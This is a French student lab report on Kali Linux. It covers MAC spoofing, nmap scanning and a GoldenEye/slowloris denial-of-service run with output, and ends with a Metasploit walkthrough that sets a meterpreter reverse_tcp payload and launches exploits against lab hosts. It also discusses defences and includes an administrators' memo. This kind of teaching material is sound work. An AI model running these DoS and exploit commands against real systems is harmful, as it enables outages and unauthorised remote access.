

# Procédure : Kali Linux

Objectif : découvrir l'intérêt de sécuriser correctement une machine sous Windows ou Linux et savoir se protéger en se mettant à la place de l'attaquant via Kali Linux.



Les 3 machines sont reliées par un Lan Segment Vmware

le ping des trois machines fonctionnent bien

I. Sur votre machine Kali, allez dans le menu principal et cherchez l'application macchanger. Notez dans quel dossier elle est rangée.

L'application Macchanger est située dans le dossier sniffing and spoofing

II. Lisez la documentation qui s'affiche et tentez de changer l'adresse MAC de votre carte réseau. En combien de temps avez-vous réussi cette étape ? Quels sont les enjeux/dangers possibles avec une telle application ? Comment s'en protéger ?

Link speed	1000 Mb/s	
IPv4 Address	10.0.0.5	
IPv6 Address	fe80::20c:29ff:fe9e:6e5c	_\$ <u>sudo</u> macchanger -a eth0
Hardware Address	00:0C:29:9E:6E:5C	Current MAC: 00:0c:29:9e:6e:5c (VMware, Inc.)
Default Route	10.0.0.1	Permanent MAC: 00:0c:29:9e:6e:5c (VMware, Inc.)
DNS	10.0.0.1	New MAC: 04:0a:83:ad:74:10 (Alcatel-Lucent)

J'ai réalisé l'étapes en environ 5min

Pouvoir changer son adresse MAC c'est pouvoir changer la carte d'identité d'un PC, ça permet de ne pas pouvoir remonter jusqu'à la machine

On s'en protéger en utilisant un filtrage d'adresse MAC en ne laissant passer que les MAC que l'on connait

III. Sur votre machine Kali, allez dans le menu principal et cherchez l'application zenmap-kbx. Notez dans quel dossier elle est rangée.

L'application Zenmap est située dans le dossier Information gathering, Vulnerability analysing

IV. Lisez la documentation, expérimentez là avec le serveur scanme.nmap.org et les clients que vous avez listés avant (vos clients Windows/ Linux et ceux de votre binôme...).

Nmap scanme.nmap.org



#### **Machine Windows**



#### Machine Linux

└\$ nmap -v -A 10.0.0.4
Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-17 17:31 CEST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 17:31
Completed NSE at 17:31, 0.00s elapsed
Initiating NSE at 17:31
Completed NSE at 17:31, 0.00s elapsed
Initiating NSE at 17:31
Completed NSE at 17:31, 0.00s elapsed
Initiating Ping Scan at 17:31
Scanning 10.0.0.4 [2 ports]
Completed Ping Scan at 17:31, 3.00s elapsed (1 total hosts)
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. T
y valid servers withdns-servers
Nmap scan report for 10.0.0.4 [host down]
NSE: Script Post-scanning.
Initiating NSE at 17:31
Completed NSE at 17:31, 0.00s elapsed
Initiating NSE at 17:31
Completed NSE at 17:31, 0.00s elapsed
Initiating NSE at 17:31
Completed NSE at 17:31, 0.00s elapsed
Read data files from: /usr/bin//share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.20 seconds

V. Quelle application se cache derrière zenmap-kbx ? Que permet cette application ? Quels sont les enjeux/dangers possibles avec une telle application ? Comment s'en protéger ?

Quelle application se cache derrière zenmap-kbx ? Zenmap est une interface Nmap. Il est destiné à être utile aux utilisateurs avancés et à rendre Nmap facile à utiliser par les débutants. Il est à l'origine dérivé d'Umit, une interface

graphique Nmap créée dans le cadre du Google Summer of Code. (Source)

Que permet cette application ?

Zenmap est un outil puissant. Avec lui, les ports ouverts peuvent être scannés sur presque n'importe quelle machine tant que l'adresse IP est connue. (<u>Source</u>)

Quels sont les enjeux/dangers possibles avec une telle application ? Zenmap peut être utilisé à des fin d'outils mais peut être aussi utilise de façon malveillantes (comme la recherche de vulnérabilités pour des attaques).

L'usage malveillant de cet outil peut entraîner des problèmes de confidentialité, des dénis de service ou des intrusions non autorisées.

#### Comment se protéger ?

Mettre en œuvre des pares-feux et des règles de sécurité pour limiter l'accès à votre réseau L'utilisation d'IPS – IDS appropriés afin de mettre en évidence les changements apportés

VI. Tirez des conclusions sur ce que vous venez de découvrir, rédigez une note de service permettant d'informer les administrateurs réseaux des actions à réaliser pour se prémunir de ce qui a été vu précédemment.

Dans un premier temps Kali Linux est avant tout une boite à outils à des fin de test, de protection ou bien d'apprentissage. Il permet de relever des ports d'un réseau, Ip mais permet aussi d'usurper la MAC d'un PC.

Ce qui nous permet de dire que Kali Linux est comme tout outils. Il est aussi utilisable de mauvaise façon en l'utilisant pour pénétrer dans des systèmes privés, voir les appareils connectés, les ports, ip mais aussi de changer l'adresse MAC pour être plus difficilement détectable

24/07/24 N145295-24

# NOTE DE SERVICE

Objet : Se prémunir d'usurpation de MAC

Chers administrateurs

Nous sommes au regret de vous apprendre que de nouvelle technique d'usurpation d'adresse MAC a émergé, il est d'urgence de s'en prémunir et pour cela je vous transmets une liste des protections à mettre en place :

- Le cryptage du trafic réseaux
- Une liste de contrôle d'accès (ACL)
- La segmentation des réseaux en sous-réseaux plus petits
- Vérifier la sécurité des ports ainsi que de porter une attention particulière sur le commutateur de réseaux afin de permettre qu'a certaine adresse MAC d'accéder au réseau
- Mettre en œuvre des pares-feux et des règles de sécurité pour limiter l'accès à votre réseau
- L'utilisation d'IPS IDS appropriés afin de mettre en évidence les changements apportés

Nous comptons sur votre réactivité et votre prudence afin de protéger notre réseau.

Chef de projet

Thomas CYCON

Jourgaut



# TP: Kali Linux

Objectif : découvrir l'intérêt de sécuriser correctement une machine sous Windows ou Linux et savoir se protéger en se mettant à la place de l'attaquant via Kali Linux.

I. Sur votre machine Kali, allez dans le menu principal et cherchez l'application goldeneye. Notez dans quel dossier elle est rangée.

Une fois l'outil goldeneye fraichement installé, elle ne semble pas apparaitre dans un dossier

 II. Si elle n'est pas installée, lisez la documentation ci-dessous et faites le nécessaire. Lisez la documentation qui s'affiche et utilisez le programme avec une machine de votre contexte. La machine répond encore correctement après avoir exécuté le programme ?

GoldenEy	e v2.1 by Jan Seidl <jse< th=""><th>eidl@wroot.org&gt;</th></jse<>	eidl@wroot.org>
USAGE:	goldeneye <url> [OPTION</url>	s]
OPTIONS	: []	Description
efault	Flag	Description
default:	<pre>-u,useragents randomly generated)</pre>	File with user-agents to use
	-w,workers	Number of concurrent workers
default:	10) -s,sockets	Number of concurrent sockets
default:	500) -mmethod	HTTP Method to use 'get' or 'nost' o
m'	(default: get)	
default:	-n,nosslcheck True)	Do not verity SSL Certificate
default	-d,debug False)	Enable Debug Mode [more verbose outpu
derautt.	-h,help	Shows this help

L'outil goldeneye permet d'envoyer des paquets au site cible pour surcharger le site en question

III. Quels sont les enjeux/dangers possibles avec une telle application?

Cet outil permet de DoS n'importe quel site non sécurisé

IV. Comment s'en protéger ?

On peut s'en protéger en Limitant le débit, segmentant le réseau, sécurisant son réseau

V. Cette autre application fait-elle la même chose ?

THOMAS CYCON

Non, goldeneye permet de DoS alors que t50 fait une injection de paquet multi protocole

VI. Sur votre machine Kali, allez dans le menu principal et cherchez l'application legion. Notez dans quel dossier elle est rangée. Si elle n'est pas installée, lisez la documentation cidessous et faites le nécessaire.

L'outil legion se trouve dans deux dossiers Information gathering et Vulnerabilitu Analysis



VII. Lisez la documentation, expérimentez là avec les machines de votre contexte. Quels sont les enjeux/dangers possibles avec une telle application ?

L'outil legion permet de faire un test de pénétration de manière semi-automatique

VIII. Tirez des conclusions sur ce que vous venez de découvrir, documentez ce TP et rendez-le sur Moodle dans les délais indiqués. Le barème reposera sur la qualité de votre rendu, orthographe, rédaction, explications, illustration...

Comme dans le précèdent TP nous avons pu utiliser des outils normalement interdits ça nous permet de comprendre le fonctionnement et nous permet de mieux sécuriser le système

De plus kali linux nous permet d'avoir un accès de manière assez simple à ses outils

IX. Trouvez une alternative à l'application legion

L'application legion n'étant plus supporté par son créateur, il faut trouver une alternative Slowloris semble être approprié Test d'attaque avec slowloris

(kali⊛kali)-[~]			
🛛 🖵 💲 slowloris -p 80	0 10.1.1.1		
[10-09-2024 10:11:5	2] Attacking 10	.1.1.1 with 15	50 sockets.
[10-09-2024 10:11:5	[2] Creating socl	kets	
[10-09-2024 10:11:5	2] Sending keep	-alive headers	5
[10-09-2024 10:11:5	2] Socket count	: 0	
[10-09-2024 10:11:5	2] Creating 150	new sockets.	
[10-09-2024 10:12:0	[7] Sending keep	-alive headers	5
[10-09-2024 10:12:0	7] Socket count	: 0	
[10-09-2024 10:12:0	7] Creating 150	new sockets.	
[10-09-2024 10:12:2	2] Sending keep	-alive headers	5
[10-09-2024 10:12:2	2] Socket count	: 150	
[10-09-2024 10:12:3	7] Sending keep	-alive headers	5
[10-09-2024 10:12:3	7] Socket count	: 150	
[10-09-2024 10:12:5	2] Sending keep	-alive headers	5
[10-09-2024 10:12:5	2] Socket count	: 150	
[10-09-2024 10:13:0	07] Sending keep	-alive headers	5
[10-09-2024 10:13:0	7] Socket count	: 150	
[10-09-2024 10:13:2	2] Sending keep	-alive headers	5
[10-09-2024 10:13:2	2] Socket count	: 150	



# TP: Kali Linux 3

Objectif : découvrir les outils automatisés permettant de maximiser l'efficacité d'une attaque informatique. Trouver une parade à ce genre de dispositif.

I. Lisez la documentation qui s'affiche et regardez attentivement la vidéo de présentation. Notez chaque ligne de commande réalisée et décrivez l'action du pirate informatique.

Apt-cache show metasploit-framework | tail -n 6

Msfconsole

**DEMARRER LA CONSOLE MSF** 

Msf > workspace - a msftest

**CREER UN NOUVEL ESPACE DE TRAVAIL NOMME "MSFTEST"** 

Msf> db\_nmap -F 192.168.0.1-10

UN SCAN DES PORTS (OPTION -F) POUR LES ADRESSES DE 192.168.0.1 A 192.168.0.10 Msf > hosts

**AFFICHE LA LISTE DES HOTES DECOUVERTS** 

Msf> services

AFFICHE LA LISTE DES SERVICES DECOUVERTS.

Msf> use auxiliary/scanner/ssh/ssh\_version

SELECTIONNE LE MODULE AUXILIAIRE DE METASPLOIT POUR SCANNER LES VERSIONS DE SERVICES SSH.

Msf auxiliary(ssh\_version) > options

AFFICHE LES OPTIONS CONFIGURABLES DU MODULE AUXILIAIRE ACTUELLEMENT SELECTIONNE.

Msf auxiliary(ssh\_version) > services -u -p 22 -R

MET A JOUR LA LISTE DES SERVICES POUR LE PORT 22 (PAR DEFAUT POUR SSH) POUR TOUS LES HOTES DECOUVERTS. L'OPTION - R PERMET DE RELANCER LE SCAN POUR LE SERVICE SPECIFIE.

Msf auxiliary(ssh\_version) > setg threads 10

**CONFIGURE LE NOMBRE DE THREADS A 10** 

Msf auxiliary(ssh\_version) > run

LANCE L'EXECUTION DU MODULE AUXILIAIRE SELECTIONNE.

Msf auxiliary(ssh\_version) > use auxiliary/scanner/http/http\_version

SELECTIONNE LE MODULE AUXILIAIRE DE METASPLOIT POUR SCANNER LES VERSIONS DES SERVEURS HTTP.

Msf auxiliary(http\_version) > services -u -p 80 -R

MET A JOUR LA LISTE DES SERVICES POUR LE PORT 80 (PORT HTTP) POUR TOUS LES HOTES DECOUVERTS.

Msf auxiliary(http\_version) > use auxiliary/scanner/smb/smb\_version

SELECTIONNE LE MODULE AUXILIAIRE DE METASPLOIT POUR SCANNER LES VERSIONS DES SERVICES SMB.

Msf auxiliary(smb\_version) > options

AFFICHE LES OPTIONS CONFIGURABLES DU MODULE AUXILIAIRE SMB ACTUELLEMENT SELECTIONNE.

Msf auxiliary(smb\_version) > services -u -p 445 -R

MET A JOUR LA LISTE DES SERVICES POUR LE PORT 445 (PORT SMB) POUR TOUS LES HOTES DECOUVERTS.

Msf auxiliary(smb\_version) > run

LANCE L'APPLICATION

Msf auxiliary(smb\_version) > clear

**EFFACE LA ZONE DE COMMANDE** 

Msf auxiliary(smb\_version) > hosts

REAFFICHE LA LISTE DES HOTES APRES AVOIR EFFECTUE LES SCANS SUPPLEMENTAIRES.

Msf auxiliary(smb\_version) > services -u

REAFFICHE LA LISTE DES SERVICES APRES AVOIR MIS A JOUR LES INFORMATIONS DE SERVICE.

Msf auxiliary(smb\_version) > services 192.168.0.6

AFFICHE LES SERVICES DECOUVERTS SPECIFIQUEMENT POUR L'HOTE 192.168.0.6.

Msf auxiliary(smb\_version) > search xampp

RECHERCHE DES MODULES DANS METASPLOIT LIES A XAMPP.

Msf auxiliary(smb\_version) > use exploit/win dows/http/xampp\_webdav\_upload\_php

SELECTIONNE LE MODULE D'EXPLOIT POUR "XAMPP\_WEBDAV\_UPLOAD\_PHP", QUI CIBLE XAMPP VIA WEBDAV.

Msg exploit(xampp\_webdav\_upload\_php) > options

AFFICHE LES OPTIONS CONFIGURABLES POUR L'EXPLOIT SELECTIONNE.

Msg exploit(xampp\_webdav\_upload\_php) > set rhost 192.168.0.6

DEFINIT L'ADRESSE IP DE LA CIBLE (RHOST) POUR L'EXPLOIT. ICI, L'ADRESSE CIBLE EST 192.168.0.6.

THOMAS CYCON 2

Msg exploit(xampp\_webdav\_upload\_php) > show payloads

AFFICHE LES CHARGES UTILES (PAYLOADS) DISPONIBLES POUR L'EXPLOIT SELECTIONNE.

Msg exploit(xampp\_webdav\_upload\_php) > set payload php/meterpreter/reverse\_tcp

DEFINIT LA CHARGE UTILE A UTILISER, ON PEUT VOIR QUE ICI LA CHARGE UTILE PHP METERPRETER QUI ETABLIT UNE CONNEXION INVERSE TCP.

Msg exploit(xampp\_webdav\_upload\_php) > options

AFFICHE LES OPTIONS CONFIGURABLES POUR L'EXPLOIT APRES AVOIR DEFINI LA CHARGE UTILE.

Msg exploit(xampp\_webdav\_upload\_php) > set lhost 192.168.0.15

DEFINIT L'ADRESSE IP LOCALE (LHOST). ICI, L'ADRESSE IP EST 192.168.0.15.

Msg exploit(xampp\_webdav\_upload\_php) > exploit

LANCE L'EXPLOIT AVEC LES PARAMETRES CONFIGURES

Meterpreter > ps

AFFICHE LA LISTE DES PROCESSUS EN COURS SUR LA MACHINE CIBLE APRES AVOIR REUSSI L'EXPLOITATION.

Meterpreter > getuid

AFFICHE L'UTILISATEUR ACTUELLEMENT CONNECTE SUR LA MACHINE CIBLE.

Meterpreter > sysinfo

AFFICHE DES INFORMATIONS SYSTEME SUR LA MACHINE CIBLE, TELLES QUE LE NOM D'HOTE ET LE SYSTEME D'EXPLOITATION.

Meterpreter > exit

**QUITTE LA SESSION METERPRETER ET RETOURNE A L'INTERFACE METASPLOIT** 

Msf exploit(xampp\_webdav\_upload\_php) > exit

**Q**UITTE LE MODULE D'EXPLOIT APRES AVOIR TERMINE L'EXPLOITATION.

II. Quel est le principe de fonctionnement du programme ?

The Metasploit Framework is an open source platform that supports vulnerability research, exploit development, and the creation of custom security tools.(<u>lien du site</u>)

Le framework Metasploit est une plateforme open source qui prend en charge la recherche de vulnérabilités, le développement d'exploits et la création d'outils de sécurité personnalisés.

III. Reconnaissez-vous des logiciels déjà vus par le passé ?

Xampp (serveur de page web)

Nmap (Nmap est un scanner de réseau gratuit et open-source)

IV. Sur votre machine Kali, tentez de reproduire les actions vues auparavant dans votre infrastructure, sur une machine client sans importance pour votre PPE. Vous pouvez également utiliser une VM dédiée à ce TP dite « Metasploitable ».

Étapes 1



#### Étapes 2

```
msf6 > workspace -a msftest
[*] Added workspace: msftest
[*] Workspace: msftest
msf6 >
```

#### Étapes 3

2020					
address	mac	name o	s_name os_fla	vor os	_sp purpose
10.1.1.20	_		nknown		device
<u>msf6</u> > ser Services 	vices				
host	port	proto	name	state	info
10.1.1.20	80	tcp	http	open	
10.1.1.20	135	tcp	msrpc	open	
10.1.1.20	139	tcp	netbios-ssn	open	
10.1.1.20	445	tcp	microsoft-ds	open	
10.1.1.20	3306	tcp	mysql	open	
<u>msf6</u> >					

<u>msf6</u> auxil Services 	iary( <mark>s</mark>	canner/	ssh/ss	h_versi	on) >	services	-u -p	80 -R
host  10.1.1.20	port  80	proto  tcp	name  http	state  open	info ——			
RHOSTS $\Rightarrow$	10.1.1	.20						

0					d:{36d136c1-6bbe-4953 }) (authentication do CO)	-88bd-/3c2d omain:DESKTO	1253b38 P-MRRGU	
10.1.1.20	3306	tcp	mysql	open				
<u>msf6</u> auxil Services ــــــ	iary(s			on) > s	ervices 10.1.1.20			
host	port	proto	name	state	info			
10.1.1.20 10.1.1.20 10.1.1.20	80 135 139	tcp tcp tcp	http msrpc netbios-ssn	open open open				
10.1.1.20	445	tcp	smb	open	SMB Detected (version dialect:SMB 3.1.1) ( lities:LZNT1) (encryp AES-128-GCM) (signatu d:{36d136c1-6bbe-4953	ns:2, 3) (pr compression ption capabi res:optiona 8-88bd-73c2d	eferred capabi lities: l) (gui 1253b38	
10.1.1.20	3306	tcp	mysql	open	CO)	JINA III. DESKIO	P-MKKGU	
<u>msf6</u> auxil	iary( <mark>s</mark>			on) > s	earch wamp			
Matching M	lodules							
# Name escription 					Disclosure Date	Rank	Check	D -
0 expl	oit/mu	lti/htt	p/agent_tesla	_panel_	rce 2019-08-14	excellent	Yes	A
oliWamp 'j	liary/ queryF	gather/ ileTree	doliwamp_trav .php' Travers	ersal_c al Gath	reds 2014-01-12 er Credentials	normal	Yes	D
Interact w	ith a	module	by name or in	dex. Fo	r example info 1, use	1 or use au	xiliary	/g

<u>ms</u> e [*]	<pre>msf6 auxiliary(scanner/smb/smb_version) &gt; use exploit/multi/http/agent_tesla_panel_rc e [*] Using configured payload php/meterpreter/reverse_tcp</pre>								
<u>ms</u>	<pre>msf6 exploit(multi/http/agent_tesla_panel_rce) &gt; options</pre>								
Mod	dule option:	s (exploit/mul	ti/http/a	agent_tesla_panel_rce):					
	Name	Current Setti	ng Requi	ired Description					
	PASSWORD		no	The Agent Tesla CnC password to authentica					
	Proxies		no	A proxy chain of format type:host:port[,ty					
	RHOSTS		yes	The target host(s), see https://docs.metas ploit.com/docs/using-metasploit/basics/usi ng-metasploit.html					
6	RPORT	80	yes	The target port (TCP)					
Kad	SSL TARGETURI	false /WebPanel/	no yes	Negotiate SSL/ILS for outgoing connections The URI where the Agent Tesla CnC panel is located on the target					
	USERNAME		no	The Agent Tesla CnC username to authentica te with					
	VHOST		no	HTTP server virtual host					
Pay	/load optio	ns (php/meterp	reter/rev	verse_tcp):					
	Name Curr	rent Setting	Required	Description					
	LHOST		yes	The listen address (an interface may be specif ied)					
	LPORT 4444	•	yes	The listen port					
Exp	oloit targe	t:							
	Id Name								
	0 Automat	tic (PHP-Dropp	er)						
Vie	ew the full	module info w	ith the i	info, or info -d command.					

Compatible Payloads         # Name       Disclosure Date       Rank       Check       De         scription       -       -       -       -       -       -         0       payload/generic/custom       normal       No       Cu         stom Payload       1       payload/generic/shell_bind_aws_ssm       normal       No       Cu         stom Payload       1       payload/generic/shell_bind_tcp       normal       No       Ge         neric Command Shell, Bind TCP Inline       3       payload/generic/shell_reverse_tcp       normal       No       Ge         neric Command Shell, Reverse TCP Inline       4       payload/generic/ssh/interact       normal       No       Ge         stract with Established SSH Connection       5       payload/multi/meterpreter/reverse_http       normal       No       Ar         chitecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures       )       6       payload/multi/meterpreter/reverse_https       normal       No       Ar         chitecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architecture       s)       7       payload/php/bind_perl       normal       No       PH
# Name       Disclosure Date       Rank       Check       De         scription       -
# NameDisclosure DateRankCheckDescription0payload/generic/customnormalNoCustom Payload1payload/generic/shell_bind_aws_ssmnormalNoCu1payload/generic/shell_bind_aws_ssmnormalNoCommand Shell, Bind SSM (via AWS API)2payload/generic/shell_bind_tcpnormalNoGe12payload/generic/shell_bind_tcpnormalNoGe13payload/generic/shell_reverse_tcpnormalNoGe14payload/generic/ssh/interactnormalNoGe4payload/generic/ssh/interactnormalNoAr5payload/multi/meterpreter/reverse_httpnormalNoAr6payload/multi/meterpreter/reverse_httpsnormalNoAr6payload/multi/meterpreter/reverse_httpsnormalNoArchitecture-Independent Meterpreter Stage, ReverseHTTPSStager (Multiple Architecture5)7payload/php/bind_perlnormalNoPH
scription       -
-       -
0payload/generic/customnormalNoCustom Payload1payload/generic/shell_bind_aws_ssmnormalNoCommand Shell, Bind SSM (via AWS API)2payload/generic/shell_bind_tcpnormalNoGe2payload/generic/shell_bind_tcpnormalNoGeneric Command Shell, Bind TCP Inline3payload/generic/shell_reverse_tcpnormalNoGeneric Command Shell, Reverse TCP Inline4payload/generic/sh/interactnormalNoIn4payload/generic/ssh/interactnormalNoInteract with Established SSH Connection5payload/multi/meterpreter/reverse_httpnormalNoArchitecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)6payload/multi/meterpreter/reverse_httpsnormalNoArchitecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)7payload/php/bind_perlnormalNoPH
0       payload/generic/custom       normal No       Cu         stom Payload       1       payload/generic/shell_bind_aws_ssm       normal No       Co         mmand Shell, Bind SSM (via AWS API)       2       payload/generic/shell_bind_tcp       normal No       Ge         neric Command Shell, Bind TCP Inline       3       payload/generic/shell_reverse_tcp       normal No       Ge         neric Command Shell, Reverse TCP Inline       4       payload/generic/ssh/interact       normal No       Ge         4       payload/generic/ssh/interact       normal No       In         teract with Established SSH Connection       5       payload/multi/meterpreter/reverse_http       normal No       Ar         chitecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures       )       6       payload/multi/meterpreter/reverse_https       normal No       Ar         chitecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architecture       s)       7       payload/php/bind_perl       normal No       PH
stom Payloadnormal NoCo1payload/generic/shell_bind_aws_ssmnormal NoCommand Shell, Bind SSM (via AWS API)2payload/generic/shell_bind_tcpnormal NoGe2payload/generic/shell_bind_tcpnormal NoGeneric Command Shell, Bind TCP Inline3payload/generic/shell_reverse_tcpnormal NoGea payload/generic/shell_reverse_tcpnormal NoGeneric Command Shell, Reverse TCP Inline4payload/generic/ssh/interactnormal NoIn4payload/generic/ssh/interactnormal NoInteract with Established SSH Connection5payload/multi/meterpreter/reverse_httpnormal NoArchitecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)6payload/multi/meterpreter/reverse_httpsnormal NoArchitecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)7payload/php/bind_perlnormal NoPH
1       payload/generic/shell_bind_aws_ssm       normal No       Co         mmand Shell, Bind SSM (via AWS API)       2       payload/generic/shell_bind_tcp       normal No       Ge         neric Command Shell, Bind TCP Inline       3       payload/generic/shell_reverse_tcp       normal No       Ge         neric Command Shell, Reverse TCP Inline       4       payload/generic/ssh/interact       normal No       Ge         4       payload/generic/ssh/interact       normal No       In         teract with Established SSH Connection       5       payload/multi/meterpreter/reverse_http       normal No       Ar         chitecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures       )       6       payload/multi/meterpreter/reverse_https       normal No       Ar         chitecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architecture s)       7       payload/php/bind_perl       No       PH
2       payload/generic/shell_bind_tcp       normal No       Ge         neric Command Shell, Bind TCP Inline       3       payload/generic/shell_reverse_tcp       normal No       Ge         neric Command Shell, Reverse TCP Inline       4       payload/generic/ssh/interact       normal No       In         teract with Established SSH Connection       5       payload/multi/meterpreter/reverse_http       normal No       Ar         chitecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)       0       Ar         6       payload/multi/meterpreter/reverse_https       normal No       Ar         chitecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)       0       Ar         7       payload/php/bind_perl       normal No       PH
neric Command Shell, Bind TCP Inline 3 payload/generic/shell_reverse_tcp normal No Ge neric Command Shell, Reverse TCP Inline 4 payload/generic/ssh/interact normal No In teract with Established SSH Connection 5 payload/multi/meterpreter/reverse_http normal No Ar chitecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures ) 6 payload/multi/meterpreter/reverse_https normal No Ar chitecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architecture s) 7 payload/php/bind_perl normal No PH
3       payload/generic/shell_reverse_tcp       normal No       Ge         neric Command Shell, Reverse TCP Inline       4       payload/generic/ssh/interact       normal No       In         4       payload/generic/ssh/interact       normal No       In         teract with Established SSH Connection       5       payload/multi/meterpreter/reverse_http       normal No       Ar         chitecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)       6       payload/multi/meterpreter/reverse_https       normal No       Ar         6       payload/multi/meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)       7       payload/php/bind_perl       No       PH
neric Command Shell, Reverse TCP Inline         4 payload/generic/ssh/interact       normal No In         teract with Established SSH Connection         5 payload/multi/meterpreter/reverse_http       normal No Ar         chitecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)         6 payload/multi/meterpreter/reverse_https       normal No Ar         chitecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)         7 payload/php/bind_perl       normal No PH
4       payload/generic/ssh/interact       normal No       In         teract with Established SSH Connection       5       payload/multi/meterpreter/reverse_http       normal No       Ar         chitecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)       6       payload/multi/meterpreter/reverse_https       normal No       Ar         6       payload/multi/meterpreter/reverse_https       normal No       Ar         chitecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architecture s)       7       payload/php/bind_perl       No       PH
teract with Established SSH Connection 5 payload/multi/meterpreter/reverse_http normal No Ar chitecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures ) 6 payload/multi/meterpreter/reverse_https normal No Ar chitecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architecture s) 7 payload/php/bind_perl normal No PH
5 payload/multi/meterpreter/reverse_http normal No Ar chitecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures ) 6 payload/multi/meterpreter/reverse_https normal No Ar chitecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architecture s) 7 payload/php/bind_perl normal No PH
chitecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures ) 6 payload/multi/meterpreter/reverse_https normal No Ar chitecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architecture s) 7 payload/php/bind_perl normal No PH
/ 6 payload/multi/meterpreter/reverse_https normal No Ar chitecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architecture s) 7 payload/php/bind_perl normal No PH
chitecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architecture s) 7 payload/php/bind_perl normal No PH
s) 7 payload/php/bind_perl normal No PH
7 payload/php/bind_perl normal No PH
P Command Shell, Bind TCP (via Perl)
8 payload/php/bind_perl_ipv6 normal No PH
P Command Shell, Bind TCP (via perl) IPv6
9 payload/php/bind_php normal No PH
P Command Shell, Bind TCP (via PHP)
IV payload/pnp/bind_pnp_ipvo normal NO PH
11 navload/nhn/download exec normal No DH
P Executable Download and Execute
12 payload/php/exec normal No PH
P Execute Command
13 payload/php/meterpreter/bind_tcp normal No PH
P Meterpreter, Bind TCP Stager
14 payload/php/meterpreter/bind_tcp_ipv6 normal No PH
P Meterpreter, Bind TCP Stager IPv6
IS payload/pnp/meterpreter/bind_tcp_ipv6_uuid normal No PH
16 navload/nhn/meternreter/hind ton uuid normal No
P Meterpreter, Bind TCP Stager with UUID Support

<u>msf6</u> exploit( tcp payload ⇒ ph <u>msf6</u> exploit(	<pre>multi/http/agent_ p/meterpreter/rev multi/http/agent_</pre>	tesla_pane erse_tcp tesla_pane	<pre>l_rce) &gt; set payload php/meterpreter/reverse_ l_rce) &gt; options</pre>
Module option	s (exploit/multi/	http/agent	_tesla_panel_rce):
Name	Current Setting	Required	Description
PASSWORD		no	The Agent Tesla CnC password to authentica te with
Proxies		no	A proxy chain of format type:host:port[,ty pe:host:port][]
RHOSTS	10.1.1.20	yes	The target host(s), see https://docs.metas ploit.com/docs/using-metasploit/basics/usi ng-metasploit.html
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	/WebPanel/	yes	The URI where the Agent Tesla CnC panel is located on the target
USERNAME		no	The Agent Tesla CnC username to authentica te with
VHOST		no	HTTP server virtual host
Payload optio	ns (php/meterpret	er/reverse	_tcp):

Name Current Setting Required Description LHOST The listen address (an interface may be specif yes ied) The listen port

Exploit target:

LPORT 4444

Id Name

Ø Automatic (PHP-Dropper)

View the full module info with the info, or info -d command.

yes

7 DHD	payload/php/bind_perl Command Shell, Bind TCP (via Perl)	normal	No
8 рнр	payload/php/bind_perl_ipv6	normal	No
9 DHD	payload/php/bind_php Command Shell Rind TCP (via PHP)	normal	No
10 DUD	payload/php/bind_php_ipv6	normal	No
рир 11 рир	payload/php/download_exec Executable Download and Execute	normal	No
12 DHD	payload/php/exec Execute Command	normal	No
13 <sub>0</sub> РНР	payload/php/meterpreter/bind_tcp Meterpreter, Bind TCP Stager	normal	No
14 PHP	payload/php/meterpreter/bind_tcp_ipv6 Meterpreter, Bind TCP Stager IPv6	normal	No
15 PHP	payload/php/meterpreter/bind_tcp_ipv6_uuid Meterpreter, Bind TCP Stager IPv6 with UUID Support	normal	No
16 PHP	payload/php/meterpreter/bind_tcp_uuid Meterpreter, Bind TCP Stager with UUID Support	normal	No
17 PHP	payload/php/meterpreter/reverse_tcp Meterpreter, PHP Reverse TCP Stager	normal	No
18 PHP	payload/php/meterpreter/reverse_tcp_uuid Meterpreter, PHP Reverse TCP Stager	normal	No
19 PHP	payload/php/meterpreter_reverse_tcp Meterpreter, Reverse TCP Inline	normal	No
20 PHP	payload/php/reverse_perl Command, Double Reverse TCP Connection (via Perl)	normal	No
21 PHP	payload/php/reverse_php Command Shell, Reverse TCP (via PHP)	normal	No
 mafe a	vploit(pulti/http/opent_toplo_pagel_repl.) of pauload php/mot	annatar	
rse_tc	p	erprecei	Teve
payloa <u>msf6</u> e	d ⇒ php/meterpreter/reverse_tcp xploit(multi/http/agent_tesla_panel_rce) > exploit		
